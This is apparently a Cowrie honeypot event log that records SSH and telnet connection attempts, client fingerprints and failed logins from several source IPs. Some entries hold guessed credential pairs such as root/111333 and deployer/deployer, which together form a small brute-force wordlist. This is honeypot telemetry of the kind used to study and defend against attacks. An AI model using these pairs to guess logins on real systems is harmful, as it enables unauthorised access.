{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":48968,"dst_ip":"159.203.135.109","dst_port":22,"session":"185fc673e7b2","protocol":"ssh","message":"New connection: 62.133.62.83:48968 (159.203.135.109:22) [session: 185fc673e7b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:03.687011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:03.696714Z","src_ip":"62.133.62.83","session":"185fc673e7b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:03.776787Z","src_ip":"62.133.62.83","session":"185fc673e7b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:03.785246Z","src_ip":"45.153.34.97","session":"543998dfe001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111333","message":"login attempt [root/111333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:04.016515Z","src_ip":"62.133.62.83","session":"185fc673e7b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:05.098884Z","src_ip":"62.133.62.83","session":"185fc673e7b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":45258,"dst_ip":"10.17.0.5","dst_port":22,"session":"70952db27c8e","protocol":"ssh","message":"New connection: 45.153.34.97:45258 (10.17.0.5:22) [session: 70952db27c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:06.125318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:06.130165Z","src_ip":"45.153.34.97","session":"70952db27c8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:06.212848Z","src_ip":"45.153.34.97","session":"70952db27c8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:06.482475Z","src_ip":"45.153.34.97","session":"70952db27c8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:07.873343Z","src_ip":"45.153.34.97","session":"70952db27c8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.250.238","src_port":58666,"dst_ip":"10.17.0.5","dst_port":22,"session":"2884eebda201","protocol":"ssh","message":"New connection: 192.169.250.238:58666 (10.17.0.5:22) [session: 2884eebda201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:08.150698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:08.156962Z","src_ip":"192.169.250.238","session":"2884eebda201","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:08.234268Z","src_ip":"192.169.250.238","session":"2884eebda201","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd123321","message":"login attempt [root/Abcd123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:08.569561Z","src_ip":"192.169.250.238","session":"2884eebda201","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:09.649093Z","src_ip":"192.169.250.238","session":"2884eebda201","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":58000,"dst_ip":"10.17.0.5","dst_port":22,"session":"ceefdbc796d8","protocol":"ssh","message":"New connection: 45.153.34.97:58000 (10.17.0.5:22) [session: ceefdbc796d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:10.269232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:10.274058Z","src_ip":"45.153.34.97","session":"ceefdbc796d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:10.370184Z","src_ip":"45.153.34.97","session":"ceefdbc796d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"12345","message":"login attempt [main/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:10.973676Z","src_ip":"45.153.34.97","session":"ceefdbc796d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:12.059771Z","src_ip":"45.153.34.97","session":"ceefdbc796d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39624,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1ca0fd90f1d","protocol":"telnet","message":"New connection: 152.42.224.71:39624 (10.17.0.5:23) [session: f1ca0fd90f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:13.937084Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":58010,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b484bb5f6ae","protocol":"ssh","message":"New connection: 45.153.34.97:58010 (10.17.0.5:22) [session: 0b484bb5f6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:14.095016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:14.099923Z","src_ip":"45.153.34.97","session":"0b484bb5f6ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:14.191493Z","src_ip":"45.153.34.97","session":"0b484bb5f6ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpserver","password":"ftpserver","message":"login attempt [ftpserver/ftpserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:14.775411Z","src_ip":"45.153.34.97","session":"0b484bb5f6ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:15.873459Z","src_ip":"45.153.34.97","session":"0b484bb5f6ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43506,"dst_ip":"10.17.0.5","dst_port":23,"session":"17e084b63439","protocol":"telnet","message":"New connection: 152.42.224.71:43506 (10.17.0.5:23) [session: 17e084b63439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:16.823539Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":58026,"dst_ip":"10.17.0.5","dst_port":22,"session":"11eadd56758a","protocol":"ssh","message":"New connection: 45.153.34.97:58026 (10.17.0.5:22) [session: 11eadd56758a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:18.205985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:18.212286Z","src_ip":"45.153.34.97","session":"11eadd56758a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:18.296081Z","src_ip":"45.153.34.97","session":"11eadd56758a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"11","message":"login attempt [ducc0x/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:18.689908Z","src_ip":"45.153.34.97","session":"11eadd56758a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.936307191848755,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:18.789712Z","src_ip":"152.42.224.71","session":"815fe31cb03e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:19.786005Z","src_ip":"45.153.34.97","session":"11eadd56758a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":81.41578459739685,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:20.721950Z","src_ip":"152.42.224.71","session":"1e375b20d807","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":21298,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf7acafbe81a","protocol":"ssh","message":"New connection: 45.153.34.97:21298 (10.17.0.5:22) [session: bf7acafbe81a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:21.991534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:22.001943Z","src_ip":"45.153.34.97","session":"bf7acafbe81a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:22.091139Z","src_ip":"45.153.34.97","session":"bf7acafbe81a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123qwe","message":"login attempt [ftpuser/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:22.583821Z","src_ip":"45.153.34.97","session":"bf7acafbe81a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:23.681885Z","src_ip":"45.153.34.97","session":"bf7acafbe81a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.36.83","src_port":44808,"dst_ip":"10.17.0.5","dst_port":22,"session":"22d3b7d30ab6","protocol":"ssh","message":"New connection: 43.153.36.83:44808 (10.17.0.5:22) [session: 22d3b7d30ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:25.463238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:25.468521Z","src_ip":"43.153.36.83","session":"22d3b7d30ab6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:25.541390Z","src_ip":"43.153.36.83","session":"22d3b7d30ab6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nvidia1","message":"login attempt [root/nvidia1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:25.850142Z","src_ip":"43.153.36.83","session":"22d3b7d30ab6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":21308,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2fd6f9655c6","protocol":"ssh","message":"New connection: 45.153.34.97:21308 (10.17.0.5:22) [session: b2fd6f9655c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:26.087628Z"}
